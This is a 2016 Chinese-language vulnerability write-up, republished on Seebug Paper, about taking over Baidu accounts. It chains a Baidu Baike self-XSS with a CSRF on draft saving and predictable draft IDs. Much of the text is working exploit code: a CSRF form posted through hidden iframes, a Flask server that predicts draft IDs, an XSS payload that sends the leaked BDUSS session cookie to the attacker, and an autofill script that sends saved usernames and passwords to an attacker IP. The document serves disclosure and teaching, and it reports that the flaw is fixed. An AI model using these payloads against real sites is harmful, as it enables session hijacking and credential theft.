[+] Author: fridayy
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-09-07

0x01 從信息泄露說起

隨著 WEB 的不斷發展,前端越來越復雜,交互也越來越多。在前后端交互的過程中,往往會需要在頁面 /API 中輸出許多冗余的東西。導致開發人員一不小心就會把敏感信息輸出,例:passwordhttponly cookieaccess_token 等。

回到這次要分析的漏洞上來,百度百科在 http://baike.baidu.com/mall 的 HTML 源碼中輸出了 bduss(核心cookie,httponly),可以利用泄露的 bduss 直接獲得用戶的登錄狀態,目前漏洞已經修復。從 HttpOnly 隱私嗅探器 中借張截圖,原理相同:

本文將詳細講述,如何利用 Self-XSS 配合 CSRF、信息泄露漏洞,從而控制受害者的百度賬戶。

0x02 雞肋的 Self-XSS

托了托鏡框我找到了這個 Self-XSS :

冷門詞條 - 》點擊編輯 -》 插入參考資料 -》 保存到草稿箱 -》 從草稿箱找到對應草稿 -》 點擊編輯重新進入編輯頁面 -》 代碼執行:

但這個漏洞需要的用戶交互太多了,幾乎沒法利用,有沒有什么辦法來簡化這個過程呢?

0x03 易被忽略的 CSRF

我們先來簡單梳理一下這個跨站漏洞(圖):

完整的利用過程,需要和服務器交互三次,我們挨個分析:

  • 保存到草稿箱 是否存在CSRF漏洞可利用?
  • 獲取草稿ID ID是否為固定值?是否可以預測?
  • 訪問草稿編輯頁面

我愉快的發現,保存到草稿箱的操作,是存在 CSRF 漏洞的(沒有驗證token,也沒有驗證referer),利用 iframe 來提交:

submit.html

    <form id="form" method="post" action="http://baike.baidu.com/editdraftsave" enctype="multipart/form-data">
        <input type="input" name="from" value="">
        <input type="input" name="album" value="">
        <input type="input" name="lemmaTitle" value="敢不敢點→_→的《繼續編輯》">
        <!--省略一些input-->
        ...
        <!--payload-->
        <input type="input" name="reference" value='[{"type":2,"author":"[[payload]]","title":"1","publisher":"1","place":"1","publishYear":"1","refPage":"1","index":1}]'>
    </form>

    <script type="text/javascript">
        document.getElementById("form").submit();
    </script>

index.html

    <iframe src="submit.html"></iframe>
    <script>
    // 提交草稿完成后,跳轉到草稿瀏覽頁,引導用戶點擊編輯按鈕
    setTimeout("window.location.", 5000)
    </script>
    <!--一些偽裝-->

當用戶點擊了攻擊者的鏈接 5 秒后,會跳轉到百科的草稿瀏覽頁,如下所示:

當用戶點擊了繼續編輯之后,Payload 執行。但需要用戶交互的XSS,有沒有什么辦法能繞過用戶交互來執行 Payload 呢?

0x04 Tricks

編輯草稿(執行payload)的URL為:http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{draft_id}} 。想去掉用戶交互的環節,就要想辦法獲取到draft_id

在保存草稿的時候,服務器在 http response 里返回了draft_id,但我們是利用 iframe 發起的 http 請求,由于跨域策略的限制,并不能獲得 http response。

托了托鏡框,發現突破點:草稿ID是連續的。也就是說我們可以嘗試預測draft_id

簡化后的利用思路如下圖所示:

當受害者訪問攻擊者提供的頁面時,hacker 服務器會提交一次草稿(利用攻擊者的賬戶信息),獲取當前ID(記為hack_id)。hacker 服務器返回給用戶的頁面,會在前端連續發出多次保存草稿的請求(利用受害者的賬戶信息)。由于請求發出的時間間隔很短,可以認為 hack_id 跟后續用戶保存的草稿編號連續。5秒后,跳轉到 http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{ hack_id + 3 }} (或者小于前端發出請求次數的其他數字)。

偽代碼:

@app.route('/')
def test():
    myid = int(getId())
    return render_template('form.html', myid=myid)

def getId():
    req = requests.post(url='http://baike.baidu.com/editdraftsave', data=data, headers={'Cookie': 'BDUSS={{hacker's bduss}}'})
    num = req.content.split('"draftId":')[1].split('}')[0]
    return num

form.html

 <script type="text/javascript">
            setTimeout("window.location.href='http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{ myid }}'", 5000)
</script>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>

折騰了這么多,終于可以做到像普通反射性XSS一樣,受害者點擊某個鏈接,不經過用戶交互 "直接" 執行攻擊代碼了。

0x05 Test Exploit

有了一個很好用的無視 XSS Auditor 漏洞后,接下來就是要綜合利用這個漏洞,做點兒壞事情 (嘿嘿嘿 ,我們開頭提到了,bduss 被輸出在了 http://baike.baidu.com/mall 的源碼中,構造代碼如下:

<img src=1 onerror=xmlHttp=new&nbsp;XMLHttpRequest();xmlHttp.open('GET','/mall');xmlHttp.send();xmlHttp.onreadystatechange=function(){if(xmlHttp.readyState==4){data=xmlHttp.responseText;bduss=data.substr(data.search('bduss')+8,192);window.location.+bduss);}}>

最終效果是用戶訪問惡意鏈接后,會將 bduss 發送到攻擊者的服務器。攻擊者利用 bduss 就可以控制用戶的百度賬戶了。拋開這個XSS,還有一些其他的利用方法,如:瀏覽器會記錄用戶的常用密碼和賬戶,用于自動填充。雖然只會填充對應域名下的輸入框,但對輸入框的校驗很寬松,用如下的代碼即可觸發自動填充:

<form>
? ? <input type="text" id="us2r">
? ? <input type="password" id="p4ss">
</form>

<script>
var img=document.createElement('img')
img.src="http://{{ hacker's ip }}/?data=" + us2r.value + ":" + p4ss.value
document.body.appendChild(img)
</script>

安全是一個整體,看似沒什么危害的洞,在特定情況下也會發揮奇效。

最后,歡迎對 XSS 利用有各種猥瑣想法的同學來交流,微博 @Fr1day


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/34/